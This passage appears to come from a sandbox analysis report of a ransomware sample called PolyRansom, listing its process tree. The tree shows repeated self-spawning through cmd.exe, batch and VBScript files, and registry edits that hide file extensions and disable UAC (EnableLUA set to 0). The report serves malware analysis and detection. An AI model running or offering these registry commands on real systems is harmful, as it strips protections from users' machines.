C:\Users\Admin\Downloads\PolyRansom
228⤵
PID:6080

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
229⤵
PID:4724

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
230⤵
PID:4308

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
231⤵
PID:5724

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
232⤵
PID:4612

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
233⤵
PID:4324

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
234⤵
PID:5604

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
235⤵
PID:3588

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
236⤵
PID:3880

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
236⤵
PID:3240

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
237⤵
PID:4780

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
238⤵
PID:5316

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
239⤵
PID:2940

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
240⤵
PID:700

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
241⤵
PID:2908

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
242⤵
PID:740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
243⤵
PID:4756

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
244⤵
PID:5684

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
245⤵
PID:788

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
246⤵
PID:5604

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
247⤵
PID:6024

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
248⤵
PID:5732

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
248⤵
PID:1492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
249⤵
PID:4668

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
250⤵
PID:5936

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
251⤵
PID:5996

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
252⤵
PID:1540

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
252⤵
PID:2508

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
253⤵
PID:6020

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
254⤵
PID:1756

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
255⤵
PID:2356

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
256⤵
PID:5452

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
257⤵
PID:2052

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
258⤵
PID:5816

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
259⤵
PID:1448

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
260⤵
PID:5860

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
261⤵
PID:1664

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
262⤵
PID:5724

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
263⤵
PID:2616

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
264⤵
PID:3616

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
264⤵
PID:4308

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
265⤵
PID:5528

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
266⤵
PID:4200

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
267⤵
PID:5352

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
268⤵
PID:1876

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\PolyRansom"
269⤵
PID:4204

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
270⤵
PID:2412

C:\Users\Admin\Downloads\PolyRansom.exe
C:\Users\Admin\Downloads\PolyRansom
270⤵
PID:2784

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
269⤵
PID:1424

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
267⤵
- Modifies visibility of file extensions in Explorer
PID:3124

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
267⤵
- Modifies registry key
PID:5232

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
267⤵
- UAC bypass
PID:4312

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pYwIMUEQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
267⤵
PID:6052

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
268⤵
PID:5980

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
265⤵
PID:936

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
265⤵
PID:4804

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
265⤵
- UAC bypass
PID:6020

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
266⤵
PID:5700

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\vMMMUIcc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
265⤵
PID:4800

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
266⤵
PID:1440

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
263⤵
- Modifies visibility of file extensions in Explorer
PID:3408

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
263⤵
PID:5996

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
263⤵
- UAC bypass
PID:1348

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
264⤵
PID:4212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fccIwogk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
263⤵
PID:228

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
264⤵
PID:3464

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
261⤵
- Modifies visibility of file extensions in Explorer
PID:1524

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
262⤵
PID:5600

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
261⤵
PID:2472

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
261⤵
- UAC bypass
PID:448

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
262⤵
PID:4668

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ukEEEwME.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
261⤵
PID:3184

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
262⤵
PID:5580

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
259⤵
- Modifies visibility of file extensions in Explorer
PID:4916

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
259⤵
- Modifies registry key
PID:3196

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
259⤵
- Modifies registry key
PID:3240

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QcwIAIMg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
259⤵
PID:5284

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
260⤵
PID:5792

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
257⤵
PID:5276

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
257⤵
PID:3588

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
257⤵
PID:5448

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\IUMgsgwg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
257⤵
PID:4392

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
258⤵
PID:3876

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
258⤵
PID:4068

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
255⤵
PID:5700

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
255⤵
PID:5288

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
255⤵
PID:2196

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CuAkosQU.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
255⤵
PID:3416

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
256⤵
PID:2988

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
253⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:2076

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
253⤵
PID:1556

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
253⤵
- UAC bypass
PID:5536

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\daccgoow.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
253⤵
PID:3492

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
254⤵
PID:3136

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
251⤵
- Modifies visibility of file extensions in Explorer
PID:2736

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
251⤵
PID:1508

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
252⤵
PID:3812

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
251⤵
- UAC bypass
PID:5760

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tgsYQIAo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
251⤵
PID:6016

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
252⤵
PID:1824

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
249⤵
PID:3152

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
249⤵
- Modifies registry key
PID:648

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
250⤵
PID:4780

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
249⤵
- UAC bypass
PID:1688

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TqwIQgQA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
249⤵
PID:6112

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
250⤵
PID:1712

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
247⤵
PID:5280

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
247⤵
PID:5296

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
247⤵
- UAC bypass
PID:3248

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
248⤵
PID:3544

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JycAcMEI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
247⤵
PID:6080

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
248⤵
PID:4068

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
245⤵
- Modifies visibility of file extensions in Explorer
PID:2040

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
246⤵
PID:5772

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
245⤵
PID:3868

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
245⤵
PID:5288

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\umYIMUoI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
245⤵
PID:5972

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
246⤵
PID:216

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
243⤵
PID:3684

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
243⤵
PID:900

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
243⤵
- UAC bypass
PID:1212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yWIsYIMY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
243⤵
PID:1812

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
244⤵
PID:856

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
244⤵
PID:4836

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
241⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
241⤵
PID:2080

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
242⤵
PID:944

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
241⤵
PID:1020

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WEwQoMsY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
241⤵
PID:5580

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
242⤵
PID:5600

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
239⤵
PID:1768

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
239⤵
PID:2412

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
239⤵
PID:5480

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\moQMYMQI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
239⤵
PID:5512

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
240⤵
PID:1072

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
237⤵
PID:1612

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
238⤵
PID:1424

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
237⤵
- Modifies registry key
PID:4964

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
237⤵
- UAC bypass
- Modifies registry key
PID:3264

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
238⤵
PID:2528

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DaMQosos.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
237⤵
PID:5808

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
238⤵
PID:3876

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
235⤵
PID:3472

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
235⤵
PID:5452

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
235⤵
- UAC bypass
- Modifies registry key
PID:5408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fOQwssgE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
235⤵
PID:5340

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
236⤵
PID:3128

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
233⤵
PID:1756

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
233⤵
PID:1632

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
233⤵
PID:4212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TEEgswwc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
233⤵
PID:3692

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
234⤵
PID:4816

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
231⤵
- Modifies visibility of file extensions in Explorer
PID:5640

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
231⤵
PID:4776

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
232⤵
PID:3832

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
231⤵
- UAC bypass
PID:1540

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KuIMcMAI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
231⤵
PID:3256

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
232⤵
PID:448

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
229⤵
PID:5172

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
229⤵
PID:2412

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
229⤵
PID:6112

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GcYYwgMg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
229⤵
PID:5272

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
230⤵
PID:2932

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
227⤵
PID:5444

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
227⤵
PID:3712

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
227⤵
PID:4964

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hCgUkwkI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
227⤵
PID:748

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
228⤵
PID:2528

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
225⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:2544

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
225⤵
PID:856

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
225⤵
- UAC bypass
PID:5800

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DWAcAQMk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
225⤵
PID:5972

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
226⤵
PID:4064

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
223⤵
- Modifies visibility of file extensions in Explorer
PID:3204

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
223⤵
PID:944

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
223⤵
PID:4784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XuYMQQYQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
223⤵
PID:5312

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
224⤵
PID:2032

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
221⤵
- Modifies visibility of file extensions in Explorer
PID:5316

C:\Windows\SysWOW64\reg.exe
